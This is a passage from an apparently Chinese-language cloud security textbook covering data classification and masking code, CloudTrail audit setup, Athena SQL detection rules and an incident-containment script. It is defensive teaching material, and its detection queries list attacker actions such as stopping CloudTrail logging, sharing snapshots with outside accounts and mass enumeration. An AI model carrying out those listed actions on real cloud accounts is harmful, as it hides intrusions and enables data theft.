       ② 恢复域控(如果是从 AD 恢复,要注意 Tombstone 和 USN 回滚问题,见第七章)
       ③ 恢复应用服务器
       ④ ★ 恢复数据(★ 恢复完成后要验证数据完整性)
       ⑤ ★★ 全部重置凭据(密钥、密码、Session)
       ⑥ 逐步开放网络
     ★ 反例:先恢复应用 → 攻击者用旧凭据又进来了 → 白恢复

10.6.5 数据分类分级与脱敏(合规要求)

★ 名词:数据分类分级 白话:把数据按“有多敏感”和“泄露后后果多严重”分成几档,然后分别保护。 ★ 这是《数据安全法》和《个人信息保护法》的法定要求(不是可选项)。

★ 中国的分级标准(★ 记住这四个级别)

  ┌──────────┬──────────────────────────────────────────────┐
  │ 级别      │ 定义 + 例子                                    │
  ├──────────┼──────────────────────────────────────────────┤
  │ ① 一般数据│ 泄露后影响很小                                 │
  │           │ 例:公开的产品介绍、帮助文档                    │
  ├──────────┼──────────────────────────────────────────────┤
  │ ② 重要数据│ ★ 特定领域、特定群体、特定区域或达到一定精度     │
  │           │   和规模,一旦泄露可能直接影响国家安全/公共利益  │
  │           │ 例:人口普查数据、地图测绘数据、               │
  │           │     未公开的统计数据、工业控制系统参数           │
  │           │ ★★ 重要数据【不得出境】(除非通过安全评估)      │
  ├──────────┼──────────────────────────────────────────────┤
  │ ③ 核心数据│ ★★ 关系国家安全、国民经济命脉、重要民生、       │
  │           │    重大公共利益                                │
  │           │ 例:国家秘密相关、重大国防科研数据              │
  │           │ ★★★ 实行【更严格】的管理制度                    │
  ├──────────┼──────────────────────────────────────────────┤
  │ ④ 个人信息│ ★ 单独一套体系(见下)                          │
  └──────────┴──────────────────────────────────────────────┘

★ 个人信息的分类(个保法)

  ┌──────────────┬──────────────────────────────────────────┐
  │ 一般个人信息 │ 姓名、电话、地址、账号                      │
  ├──────────────┼──────────────────────────────────────────┤
  │ ★ 敏感个人   │ 生物识别(人脸/指纹)、宗教信仰、特定身份、 │
  │   信息       │ 医疗健康、金融账户、行踪轨迹,              │
  │              │ ★ 以及【不满十四周岁未成年人】的个人信息     │
  │              │                                            │
  │              │ ★★ 处理敏感个人信息需要:                   │
  │              │   ① 取得【单独同意】(不能混在用户协议里)   │
  │              │   ② 告知处理的【必要性】和【影响】           │
  │              │   ③ ★ 进行个人信息保护影响评估(PIA)       │
  └──────────────┴──────────────────────────────────────────┘

★ 数据脱敏的五种方式与坑

┌──────────────┬────────────────────────┬────────────────────────┐
│ 方式          │ 白话                    │ ★ 坑                    │
├──────────────┼────────────────────────┼────────────────────────┤
│ ① 掩码        │ 138****5678            │ ★ 前 3 后 4 保留,       │
│ (Masking)     │ 张**                   │   中间 4 位只有 10000 种 │
│              │                        │   → 结合其他信息可还原   │
├──────────────┼────────────────────────┼────────────────────────┤
│ ② 哈希        │ md5(手机号)            │ ★★ 手机号空间小,         │
│ (Hashing)     │ → 固定 32 位           │   彩虹表几秒就破解       │
│              │                        │ ✅ 必须用 HMAC + 密钥     │
├──────────────┼────────────────────────┼────────────────────────┤
│ ③ 加密        │ AES 加密,可解密        │ ★ 密钥管理是难点         │
│ (Encryption) │                        │ ★ 加密后无法做范围查询   │
├──────────────┼────────────────────────┼────────────────────────┤
│ ④ 替换/伪造   │ 换成假名字、假身份证    │ ★ 假数据可能撞到真人     │
│ (Substitution)│ 例:张三 → 李四         │ ✅ 用专门的假数据生成器   │
├──────────────┼────────────────────────┼────────────────────────┤
│ ⑤ 泛化/分桶   │ 年龄 27 → 20-30        │ ★ 分桶太细依然可识别     │
│ (Generalization)│ 收入 → 10k-20k       │ ★ k-匿名问题(见下)     │
└──────────────┴────────────────────────┴────────────────────────┘

★★★ 一个重要概念:脱敏 ≠ 匿名化

  ★ 脱敏(De-identification):
     去掉/替换了直接标识符,但【仍可能通过关联还原】
     → ★ 依然属于个人信息,受个保法约束

  ★ 匿名化(Anonymization):
     ★ 无法识别特定自然人,且【不能复原】
     → 不属于个人信息,可以自由使用

  ★★ 判断标准(个保法的要求很严):
     匿名化 = 【不能复原】
       - 不能通过【自身】复原
       - 不能通过【与其他数据结合】复原

  ★ 生活类比:
     脱敏 = 给你戴个口罩(熟人还是能认出你)
     匿名化 = 把你混进 10 万人的体育场航拍里(认不出来了)

  ★★ 现实:绝大多数号称"匿名化"的数据,其实只是脱敏
     → Netflix 的推荐数据集被重新识别出来(2007 年著名案例)
     → ★ 所以:处理脱敏数据时,依然要按个人信息来保护
# ============================================================
# ★ 数据脱敏的正确实现
# ============================================================
import hashlib
import hmac
import os
import re

# ★ 密钥从环境变量或密钥管理服务读,不要硬编码
HMAC_KEY = os.environ.get('PII_HMAC_KEY', '').encode()
if not HMAC_KEY:
    raise RuntimeError("必须配置 PII_HMAC_KEY")

def pseudonymize_phone(phone: str) -> str:
    """
    ★ 手机号假名化(pseudonymization)

    ❌ 错误做法:hashlib.md5(phone.encode()).hexdigest()
       → ★ 手机号总共 10^11 种,但有效号段更少,
         用彩虹表 + GPU 几分钟就能全部反推

    ✅ 正确做法:HMAC-SHA256 + 密钥
       → 攻击者没有密钥,无法彩虹表
    """
    normalized = re.sub(r'\D', '', phone)
    return hmac.new(HMAC_KEY, normalized.encode(), hashlib.sha256).hexdigest()[:16]


def mask_phone(phone: str) -> str:
    """展示用掩码"""
    if len(phone) != 11:
        return "***"
    return f"{phone[:3]}****{phone[7:]}"


def mask_id_card(id_card: str) -> str:
    """
    ★ 身份证脱敏
    ❌ 常见错误:只保留前 6 位(地区码)+ 后 4 位
       → ★ 前 6 位 = 籍贯,后 4 位含性别 + 顺序号
       → 结合生日(很多人不脱敏生日)可以大幅缩小范围
    ✅ 正确:前 1 位 + 后 1 位,中间全 *,且【生日单独脱敏】
    """
    if len(id_card) < 18:
        return "*" * len(id_card)
    return id_card[0] + "*" * 16 + id_card[-1]


def mask_name(name: str) -> str:
    """
    ★ 姓名脱敏的坑:
      - 两字姓名:张*  (★ 保留了姓,同姓的人还是很多)
      - 三字姓名:张*三(★ 首尾保留 = 泄露太多!)
        → "张*三" 在中文名字里几乎能唯一确定
    ✅ 建议:只保留第一个字,其余全 *
    """
    if len(name) <= 1:
        return name
    return name[0] + "*" * (len(name) - 1)


# ============================================================
# ★★ 最重要的:生产环境的脱敏要在【数据出口】统一做
# ============================================================
from functools import wraps

PII_FIELDS = {
    'phone': mask_phone,
    'mobile': mask_phone,
    'id_card': mask_id_card,
    'idcard': mask_id_card,
    'name': mask_name,
    'real_name': mask_name,
    'address': lambda x: x[:6] + '*' * max(0, len(x) - 6) if len(x) > 6 else '***',
    'email': lambda x: x[0] + '***@' + x.split('@')[-1] if '@' in x else '***',
}

def auto_desensitize(role: str = 'normal'):
    """
    ★ 装饰器:自动对返回的 PII 字段脱敏

    ★★ 设计要点:
      ① 【默认脱敏,显式放行】—— 而不是"默认放行,按需脱敏"
         → ★★ 这是最关键的设计决策!
         → "默认放行"的模式,总会有人忘了脱敏
      ② 只有有权限的角色(如风控、客服主管)才能看到明文
      ③ 每次查看明文都要记录审计日志
    """
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            result = func(*args, **kwargs)

            # ★ 有权限的角色返回明文,但要记录审计
            if role in ('compliance', 'risk_control'):
                audit_log_pii_access(func.__name__, role, kwargs)
                return result

            # ★ 普通角色一律脱敏
            return _desensitize_recursive(result)
        return wrapper
    return decorator

def _desensitize_recursive(obj):
    """递归处理 dict / list 里的 PII 字段"""
    if isinstance(obj, dict):
        return {
            k: (PII_FIELDS.get(k.lower(), lambda x: x)(v)
                if k.lower() in PII_FIELDS and isinstance(v, str)
                else _desensitize_recursive(v))
            for k, v in obj.items()
        }
    elif isinstance(obj, list):
        return [_desensitize_recursive(i) for i in obj]
    return obj

def audit_log_pii_access(func_name: str, role: str, params: dict):
    """★ 明文访问审计(合规要求)"""
    logger.warning({
        'event': 'pii_plaintext_access',
        'func': func_name,
        'role': role,
        'params_keys': list(params.keys()),
        'user': get_current_user(),
        'ip': get_client_ip(),
        'timestamp': datetime.utcnow().isoformat(),
    })

10.7 云审计、检测与响应

★ 一句话:云上的所有操作本质上都是 API 调用, 而所有 API 调用都会被记录—— 这是云相对传统机房最大的安全优势, ★ 前提是你要【开启】并且【真的去看】。

10.7.1 云审计日志:一切的基础

★ 三大云厂商的审计服务

  AWS    → CloudTrail         (管理事件 + 数据事件)
           ★ 事件历史默认保留 90 天,但【不含数据面事件】
 阿里云  → 操作审计(ActionTrail)
 腾讯云  → 云审计(CloudAudit)
 GCP    → Cloud Audit Logs   (分 Admin Activity / Data Access / System Event)
 Azure  → Azure Activity Log

★★★ 首先必须理解的两个概念

  ┌────────────────────────────────────────────────────────┐
  │ 管理事件(Management Events / Control Plane)            │
  │ 白话:【对资源本身的操作】                                │
  │   例:创建 EC2、删除桶、修改 IAM 策略、创建用户            │
  │   ★ 默认开启,免费                                       │
  │   ★ 能看到"攻击者做了什么操作"                            │
  ├────────────────────────────────────────────────────────┤
  │ 数据事件(Data Events / Data Plane)                     │
  │ 白话:【对资源里的内容的操作】                            │
  │   例:S3 GetObject/PutObject、Lambda Invoke、            │
  │        DynamoDB GetItem                                  │
  │   ★★ 默认【关闭】,要额外收费                             │
  │   ★★ 但这是"数据有没有被拖走"的唯一证据                   │
  └────────────────────────────────────────────────────────┘

  ★★★ 最重要的建议:
     ★ 敏感桶(备份桶、用户数据桶)必须开启数据事件
       否则出事后你只能说"他可能下载了",无法确认

     ★ 成本考虑:数据事件量大,全开会很贵
       → 只对最敏感的 2~3 个桶开启
# ============================================================
# CloudTrail 完整配置(含数据事件)
# ============================================================

# ① 创建跟踪(多区域 + 日志文件校验 + KMS 加密)
aws cloudtrail create-trail \
  --name org-trail \
  --s3-bucket-name mycompany-audit-logs \
  --is-multi-region-trail \
  --include-global-service-events \
  --enable-log-file-validation \
  --kms-key-id arn:aws:kms:...:key/xxx

# ② 开启日志
aws cloudtrail start-logging --name org-trail

# ③ ★★ 开启敏感桶的数据事件
aws cloudtrail put-event-selectors \
  --trail-name org-trail \
  --advanced-event-selectors '[
    {
      "Name": "管理事件(全部)",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Management"]}
      ]
    },
    {
      "Name": "★ 敏感桶的数据事件",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Data"]},
        {"Field": "resources.type", "Equals": ["AWS::S3::Object"]},
        {"Field": "resources.ARN", "StartsWith": ["arn:aws:s3:::prod-backup/", "arn:aws:s3:::prod-user-data/"]}
      ]
    }
  ]'

# ④ ★ 验证日志有没有真的在写
aws s3 ls s3://mycompany-audit-logs/AWSLogs/123456789012/CloudTrail/ --recursive | tail -5
# ★ 应该有按日期组织的 .json.gz 文件

# ⑤ ★★★ 验证日志文件校验(防篡改,取证时很重要)
aws cloudtrail validate-logs \
  --trail-arn arn:aws:cloudtrail:cn-north-1:123456789012:trail/org-trail \
  --start-time 2026-09-01T00:00:00Z
# ★ 输出:Results requested for 2026-09-01T00:00:00Z to ...
#          Validating log files...
#          ✓ 所有日志文件有效(如果被篡改过,这里会报错)

10.7.2 用 SQL 分析审计日志(★ 实战查询集)

# ============================================================
# 前置:把 CloudTrail 日志灌进 Athena(能 SQL 查)
# ============================================================
# 创建 Athena 表(分区 Projection 方式,★ 现代写法,不用加分区)
CREATE EXTERNAL TABLE cloudtrail_logs (
  eventversion STRING,
  useridentity STRUCT<
    type: STRING,
    principalid: STRING,
    arn: STRING,
    accountid: STRING,
    invokedby: STRING,
    accesskeyid: STRING,
    userName: STRING,
    sessioncontext: STRUCT<
      attributes: STRUCT<
        mfaauthenticated: STRING,
        creationdate: STRING>,
      sessionissuer: STRUCT<
        type: STRING,
        principalId: STRING,
        arn: STRING,
        accountId: STRING,
        userName: STRING>>>
  >,
  eventtime STRING,
  eventsource STRING,
  eventname STRING,
  awsregion STRING,
  sourceipaddress STRING,
  useragent STRING,
  errorcode STRING,
  errormessage STRING,
  requestparameters STRING,
  responseelements STRING,
  additionaleventdata STRING,
  requestid STRING,
  eventid STRING,
  resources ARRAY<STRUCT<arn: STRING, accountid: STRING, type: STRING>>,
  eventtype STRING,
  apiversion STRING,
  readonly STRING,
  recipientaccountid STRING,
  serviceeventdetails STRING,
  sharedeventid STRING,
  vpcendpointid STRING
)
ROW FORMAT SERDE 'com.amazon.emr.hive.serde.CloudTrailSerde'
STORED AS INPUTFORMAT 'com.amazon.emr.cloudtrail.CloudTrailInputFormat'
OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 's3://mycompany-audit-logs/AWSLogs/123456789012/CloudTrail/'
TBLPROPERTIES ('projection.enabled'='true');
-- ============================================================
-- ★ 云安全检测的 15 条必备规则
-- ============================================================

-- ① ★★★ 来自异常 IP 的 API 调用(★ 最有用的第一条)
--    白话:你的运维都在国内,突然有美国的 IP 调用了 API
SELECT
    eventtime, useridentity.arn AS who, eventname,
    sourceipaddress, awsregion, useragent
FROM cloudtrail_logs
WHERE sourceipaddress NOT LIKE '10.%'
  AND sourceipaddress NOT LIKE '203.0.113.%'      -- ★ 公司出口 IP 段
  AND sourceipaddress NOT LIKE '198.51.100.%'     -- ★ 办公室 IP
  AND eventtime > current_date - interval '7' day
  AND useridentity.type <> 'AWSService'           -- 排除云服务自身的调用
ORDER BY eventtime DESC
LIMIT 200;

-- ② ★★★ 非 MFA 的敏感操作(★ 高权限操作必须有 MFA)
SELECT
    eventtime, useridentity.arn, eventname, sourceipaddress
FROM cloudtrail_logs
WHERE eventname IN (
    'CreateAccessKey', 'DeleteAccessKey', 'CreateUser', 'DeleteUser',
    'AttachUserPolicy', 'AttachRolePolicy', 'PutUserPolicy',
    'DeleteTrail', 'StopLogging', 'DeleteBucket',
    'CreateRole', 'DeleteRole', 'UpdateAssumeRolePolicy'
  )
  AND json_extract_scalar(useridentity.sessioncontext, '$.attributes.mfaauthenticated') != 'true'
  AND eventtime > current_date - interval '7' day;

-- ③ ★★★ 关闭/删除安全服务(★ 攻击者的必做动作)
SELECT eventtime, useridentity.arn, eventname, sourceipaddress, errorcode
FROM cloudtrail_logs
WHERE eventname IN (
    'StopLogging', 'DeleteTrail', 'UpdateTrail', 'PutEventSelectors',
    'DeleteDetector', 'DisassociateFromMasterAccount',
    'DisableSecurityHub', 'DeleteConfigurationRecorder',
    'StopConfigurationRecorder', 'DeleteFlowLogs', 'DeleteRule'
  )
  AND eventtime > current_date - interval '30' day
ORDER BY eventtime DESC;
-- ★ 正常情况:应该是【空的】。有记录就要立刻查!

-- ④ ★★★ 大量失败的 API 调用(凭据泄露后的爆破/探测)
SELECT useridentity.arn, sourceipaddress, count(*) AS fail_count,
       count(DISTINCT eventname) AS api_variety
FROM cloudtrail_logs
WHERE errorcode IN ('AccessDenied', 'UnauthorizedOperation', 'AuthFailure')
  AND eventtime > current_date - interval '1' day
GROUP BY useridentity.arn, sourceipaddress
HAVING count(*) > 50
ORDER BY fail_count DESC;
-- ★ 正常业务的失败调用很少。出现大量 = 在探测权限边界

-- ⑤ ★★★ 大量枚举(攻击者在摸清你有什么资源)
SELECT useridentity.arn, sourceipaddress, eventname, count(*) AS cnt
FROM cloudtrail_logs
WHERE eventname IN ('ListBuckets','DescribeInstances','ListUsers','ListRoles',
                    'GetBucketAcl','GetBucketPolicy','DescribeDBInstances',
                    'ListSecrets','DescribeSnapshots','ListFunctions')
  AND eventtime > current_date - interval '1' day
GROUP BY useridentity.arn, sourceipaddress, eventname
HAVING count(*) > 100
ORDER BY cnt DESC;

-- ⑥ ★★ 敏感桶的数据下载(★ 需要开启数据事件)
SELECT eventtime, useridentity.arn, eventname,
       json_extract_scalar(requestparameters, '$.key') AS object_key,
       sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'GetObject'
  AND json_extract_scalar(requestparameters, '$.bucketName') = 'prod-user-data'
  AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

-- ⑦ ★★ 新创建的 IAM 用户 / 访问密钥(持久化信号)
SELECT eventtime, useridentity.arn AS creator, eventname,
       json_extract_scalar(requestparameters, '$.userName') AS target_user,
       sourceipaddress, useragent
FROM cloudtrail_logs
WHERE eventname IN ('CreateUser','CreateAccessKey','CreateLoginProfile',
                    'UpdateLoginProfile','CreateVirtualMFADevice')
  AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;

-- ⑧ ★★ 修改了信任策略(★ 可能是为了建后门)
SELECT eventtime, useridentity.arn, eventname,
       json_extract_scalar(requestparameters, '$.roleName') AS role,
       sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'UpdateAssumeRolePolicy'
  AND eventtime > current_date - interval '7' day;

-- ⑨ ★★ 快照/镜像共享给外部账号(★ 数据外泄的隐蔽路径)
SELECT eventtime, useridentity.arn, eventname,
       json_extract_scalar(requestparameters, '$.createVolumePermission.add[0].userId') AS shared_to
FROM cloudtrail_logs
WHERE eventname IN ('ModifySnapshotAttribute','ModifyImageAttribute')
  AND eventtime > current_date - interval '30' day
  AND requestparameters LIKE '%add%';

-- ⑩ ★★ 从未使用过的 API(★ 异常行为)
--    先算基线:过去 90 天用过的 API 集合,然后看今天有没有新的
WITH baseline AS (
  SELECT DISTINCT eventname
  FROM cloudtrail_logs
  WHERE eventtime < current_date - interval '1' day
    AND eventtime > current_date - interval '90' day
)
SELECT DISTINCT l.eventname, l.useridentity.arn, l.sourceipaddress
FROM cloudtrail_logs l
LEFT JOIN baseline b ON l.eventname = b.eventname
WHERE b.eventname IS NULL
  AND l.eventtime > current_date - interval '1' day
  AND l.readonly = 'false';        -- ★ 只关注写操作

-- ⑪ ★★ 凭据来自意外的地方(★ 判断凭据是否泄露的关键)
SELECT useridentity.accesskeyid, useridentity.arn,
       count(DISTINCT sourceipaddress) AS ip_count,
       array_agg(DISTINCT sourceipaddress) AS ips
FROM cloudtrail_logs
WHERE eventtime > current_date - interval '7' day
GROUP BY useridentity.accesskeyid, useridentity.arn
HAVING count(DISTINCT sourceipaddress) > 3
ORDER BY ip_count DESC;
-- ★★ 一个 AK 如果从 5 个不同国家的 IP 用过 = 几乎肯定泄露了

-- ⑫ ★★ 非工作时间的运维操作
SELECT eventtime, useridentity.arn, eventname, sourceipaddress
FROM cloudtrail_logs
WHERE (
    hour(from_iso8601_timestamp(eventtime)) < 7
    OR hour(from_iso8601_timestamp(eventtime)) > 22
  )
  AND readonly = 'false'
  AND useridentity.type != 'AWSService'
  AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC
LIMIT 100;

-- ⑬ ★★ 使用了 root 账号(★ 应该几乎为 0)
SELECT eventtime, eventname, sourceipaddress, useragent
FROM cloudtrail_logs
WHERE useridentity.type = 'Root'
  AND eventtime > current_date - interval '30' day
ORDER BY eventtime DESC;
-- ★★ 期望:完全为空。有记录说明有人在违规用 root

-- ⑭ ★ 用户代理异常(用非官方工具的操作)
SELECT DISTINCT useridentity.arn, useragent, sourceipaddress, eventname
FROM cloudtrail_logs
WHERE (
    useragent LIKE '%python%'        -- 脚本
    OR useragent LIKE '%curl%'
    OR useragent LIKE '%Go-http%'
    OR useragent LIKE '%aws-cli%'    -- ★ 运维用 CLI 正常,但要核对人
  )
  AND eventtime > current_date - interval '1' day
  AND readonly = 'false';

-- ⑮ ★★★ 高权限角色被 PassRole(云提权,见 10.2.7)
SELECT eventtime, useridentity.arn AS who,
       json_extract_scalar(requestparameters, '$.roleArn') AS passed_role,
       sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'PassRole'
  AND (
    json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Admin%'
    OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Organization%'
    OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%PowerUser%'
  )
  AND eventtime > current_date - interval '7' day;

10.7.3 云上应急响应(与第八章的差异)

★ 云上 IR 与传统的三个根本差异

  ┌────────────────────────────────────────────────────────────┐
  │ 差异 1:★【不能"拔网线"】                                    │
  ├────────────────────────────────────────────────────────────┤
  │  传统:发现被入侵 → 拔网线 / 关机器 → 保住现场               │
  │  云上:★ 你的机器是虚拟的,拔不了网线                        │
  │        ★ 而且你"关掉"机器的瞬间,【内存证据就没了】          │
  │        (传统机器关机后内存还在,可以冷启动攻击恢复)        │
  │                                                              │
  │  ✅ 云上的"隔离"做法:                                        │
  │     ① 改安全组 → 只留取证机器的 IP 能访问                    │
  │     ② ★ 用 IAM 策略【吊销所有会话】(★ 云特有的杀手锏)      │
  │     ③ 保持实例【运行】(保住内存)                           │
  └────────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────────┐
  │ 差异 2:★★【凭据吊销方式完全不同】                            │
  ├────────────────────────────────────────────────────────────┤
  │  传统:改密码、删 SSH key                                    │
  │  云上:★ 长期 AK/SK 改密码没用(攻击者可能已经建了新的)      │
  │        ★ 必须在【IAM 层】操作,有几层:                       │
  │          ① 禁用/删除泄露的 AK                                │
  │          ② ★★ 附加一个 "Deny All" 的内联策略(★ 最快,秒级) │
  │          ③ ★★★ 吊销所有活动会话(★ 让已签发的临时令牌失效)  │
  └────────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────────┐
  │ 差异 3:★★【取证对象变了】                                    │
  ├────────────────────────────────────────────────────────────┤
  │  传统:取证 = 查主机(磁盘、内存、日志)                      │
  │  云上:★ 主机可能已经不存在了(弹性伸缩、被攻击者删了)        │
  │        ★ 但【审计日志】是独立于主机的,不会丢                │
  │                                                              │
  │  ✅ 云上取证的核心是【CloudTrail + 配置历史】:               │
  │     - CloudTrail:谁做了什么(API 调用,最权威)              │
  │     - AWS Config / 配置审计:资源配置怎么变的                 │
  │     - VPC Flow Logs:网络层面谁连了谁                         │
  │     ★★ 这三者结合,即使主机没了,也能还原 90% 的故事          │
  └────────────────────────────────────────────────────────────┘
# ============================================================
# ★★ 云上应急响应的"黄金 15 分钟"操作清单
# ============================================================
#!/bin/bash
# cloud_ir_containment.sh
# ★ 用法:./cloud_ir_containment.sh <被入侵的主体ARN或用户名>

set -euo pipefail

PRINCIPAL="$1"                  # 例如 arn:aws:iam::123:role/compromised-role
TIMESTAMP=$(date +%Y%m%d%H%M%S)
EVIDENCE_DIR="./ir_evidence_${TIMESTAMP}"
mkdir -p "$EVIDENCE_DIR"

echo "════════════════════════════════════════════════"
echo " 云上应急响应 - 遏制阶段"
echo " 目标主体: $PRINCIPAL"
echo " 时间: $(date)"
echo " 证据目录: $EVIDENCE_DIR"
echo "════════════════════════════════════════════════"

# ─────────────────────────────────────────────────────
# ★ 第 0 步:先保存证据,再动手(★ 顺序不能反!)
# ─────────────────────────────────────────────────────
echo "[0] 保存当前状态快照..."

aws iam get-role --role-name "$(basename $PRINCIPAL)" \
  > "$EVIDENCE_DIR/role_before.json" 2>/dev/null || true

aws iam list-attached-role-policies --role-name "$(basename $PRINCIPAL)" \
  > "$EVIDENCE_DIR/policies_before.json" 2>/dev/null || true

# ★★ 从 CloudTrail 导出这个主体的所有活动(★ 最重要的一步)
echo "    正在导出该主体的 API 调用记录(可能需要几分钟)..."
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue="$(basename $PRINCIPAL)" \
  --max-results 50 \
  --output json > "$EVIDENCE_DIR/cloudtrail_activity.json" 2>/dev/null || true

# ─────────────────────────────────────────────────────
# ★★ 第 1 步:立即吊销权限(Deny All,秒级生效)
# ─────────────────────────────────────────────────────
echo "[1] ★★ 附加 Deny All 策略(立即止血)..."

cat > /tmp/deny_all.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "IRContainmentDenyAll",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
EOF

ROLE_NAME="$(basename $PRINCIPAL)"
aws iam put-role-policy \
  --role-name "$ROLE_NAME" \
  --policy-name "IR-DenyAll-${TIMESTAMP}" \
  --policy-document file:///tmp/deny_all.json

echo "    ✓ 已附加 Deny All 策略"

# ─────────────────────────────────────────────────────
# ★★★ 第 2 步:吊销所有活动会话(★ 云特有,最关键)
# ─────────────────────────────────────────────────────
# ★ 白话:攻击者手上可能已经有临时凭据了(1 小时有效)
#        光禁用 AK 没用,必须让【已签发的】临时令牌失效
echo "[2] ★★★ 吊销所有活动会话..."

# ① 获取角色/用户最后一次使用的时间
LAST_USED=$(aws iam get-role --role-name "$ROLE_NAME" \
  --query 'Role.RoleLastUsed.LastUsedDate' --output text 2>/dev/null || echo "N/A")
echo "    最后使用时间: $LAST_USED"

# ② ★ 注入会话失效策略(★ 这是 AWS 的标准做法)
#    用 aws:TokenIssueTime 条件,让所有早于此刻签发的令牌失效
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

cat > /tmp/revoke_sessions.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RevokeOldSessions",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "DateLessThan": {
          "aws:TokenIssueTime": "${NOW}"
        }
      }
    }
  ]
}
EOF
aws iam put-role-policy \
  --role-name "$ROLE_NAME" \
  --policy-name "IR-RevokeSessions-${TIMESTAMP}" \
  --policy-document file:///tmp/revoke_sessions.json

echo "    ✓ 所有早于 $NOW 签发的会话已失效"

# ─────────────────────────────────────────────────────
# 第 3 步:如果这个角色有 AK/SK,处理掉
# ─────────────────────────────────────────────────────
echo "[3] 处理访问密钥..."
# ★ 注意:先禁用(Inactive),不删除(保留证据)
# aws iam update-access-key --access-key-id AKIA... --status Inactive

# ─────────────────────────────────────────────────────
# 第 4 步:检查有没有被创建的后门
# ─────────────────────────────────────────────────────
echo "[4] ★★ 检查后门(新增用户 / 角色 / 策略 / 密钥)..."

echo "    ── 最近 7 天新建的 IAM 用户 ──"
aws iam list-users --query "Users[?CreateDate>='$(date -u -d '7 days ago' +%Y-%m-%d)'].[UserName,CreateDate]" --output table

echo "    ── 最近 7 天新建的角色 ──"
aws iam list-roles --query "Roles[?CreateDate>='$(date -u -d '7 days ago' +%Y-%m-%d)'].[RoleName,CreateDate]" --output table

echo "    ── 所有用户的访问密钥(★ 检查有没有陌生的)──"
for u in $(aws iam list-users --query 'Users[].UserName' --output text); do
  for k in $(aws iam list-access-keys --user-name "$u" --query 'AccessKeyMetadata[].[AccessKeyId,CreateDate,Status]' --output text | tr '\n' ' '); do
    echo "      $u: $k"
  done
done

# ─────────────────────────────────────────────────────
# 第 5 步:保存 IAM 的完整快照(★ 取证必需)
# ─────────────────────────────────────────────────────
echo "[5] 保存 IAM 完整快照..."
aws iam get-account-authorization-details > "$EVIDENCE_DIR/iam_full_snapshot.json"
echo "    ✓ 已保存到 $EVIDENCE_DIR/iam_full_snapshot.json"
# ★ 这个文件包含所有用户/角色/策略,是后续分析的基础

# ─────────────────────────────────────────────────────
# 第 6 步:检查网络层面
# ─────────────────────────────────────────────────────
echo "[6] 检查网络配置(新增的安全组规则 / 公网 IP)..."
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]' \
  --output table > "$EVIDENCE_DIR/open_security_groups.txt"

echo ""
echo "════════════════════════════════════════════════"
echo " 遏制完成。下一步:"
echo "  ① 分析 $EVIDENCE_DIR/cloudtrail_activity.json 确定影响范围"
echo "  ② 检查 CloudTrail 有没有被关(★ 如果被关,说明攻击者很专业)"
echo "  ③ 轮换所有可能泄露的凭据"
echo "  ④ 检查数据有没有被外传(GetObject / CreateSnapshot 记录)"
echo "  ⑤ ★ 不要急着删资源,先保全证据"
echo "════════════════════════════════════════════════"
★★★ 云上 IR 的三个特殊提醒

  ① ★★ 【不要在遏制阶段就删除资源】
     很多人的第一反应是"删掉被入侵的机器"
     → ★ 错!这会毁掉所有证据
     ✅ 正确:先隔离(改安全组 + 吊销权限),保持实例运行,
             做内存快照和磁盘快照,最后才决定是否销毁

  ② ★★ 【快照要打,但要注意快照会"冻结"状态】
     打快照是对的,但:
     - 磁盘快照:✅ 可以做(★ 在实例运行时打也可以,但可能不一致)
     - ★ 内存:云上【没有官方的内存快照功能】
       → 需要登录实例用 LiME / AVML 采集(见第八章 8.3.6)
       → ★★ 所以如果发现得早,第一优先级是【保住内存】
          (攻击者可能用了无文件攻击,只有内存里有证据)

  ③ ★★★ 【攻击者可能已经把你的审计日志关了】
     → 发现 CloudTrail 被关 / 被删 → 按【最坏情况】处理
     → 补救:
        - 检查 Config 历史记录(独立于 CloudTrail)
        - 检查 VPC Flow Logs(如果也开了)
        - 检查云厂商的"事件历史"(90 天,AWS 免费保留,删不掉)
        - ★ 联系云厂商(有时候他们有备份)

10.7.4 云安全态势管理(CSPM / CNAPP)

★ 一堆缩写,先讲清楚

  ┌──────────────┬──────────────────────────────────────────────┐
  │ CSPM         │ Cloud Security Posture Management             │
  │(云安全态势)│ 白话:★【持续检查配置有没有配错】                │
  │              │ 例:桶是不是公开的、安全组是不是 0.0.0.0/0      │
  │              │ 工具:Prowler、AWS Security Hub、云安全中心     │
  │              │ ★ 相当于"定期体检"                              │
  ├──────────────┼──────────────────────────────────────────────┤
  │ CWPP         │ Cloud Workload Protection Platform            │
  │(工作负载)  │ 白话:★【保护正在运行的机器/容器】               │
  │              │ 例:主机 IDS、漏洞扫描、运行时检测(Falco)      │
  │              │ ★ 相当于"随身保镖"                              │
  ├──────────────┼──────────────────────────────────────────────┤
  │ CIEM         │ Cloud Infrastructure Entitlement Management   │
  │(权限管理)  │ 白话:★【专门管云上权限的工具】                  │
  │              │ 例:谁有过大权限、谁能提权(见 10.2.7)          │
  │              │ 工具:PMapper、Cloudsplaining、云厂商的 IAM 分析 │
  ├──────────────┼──────────────────────────────────────────────┤
  │ ★★ CNAPP     │ Cloud-Native Application Protection Platform  │
  │(一体化平台)│ 白话:★【把上面全部打包在一起】                  │
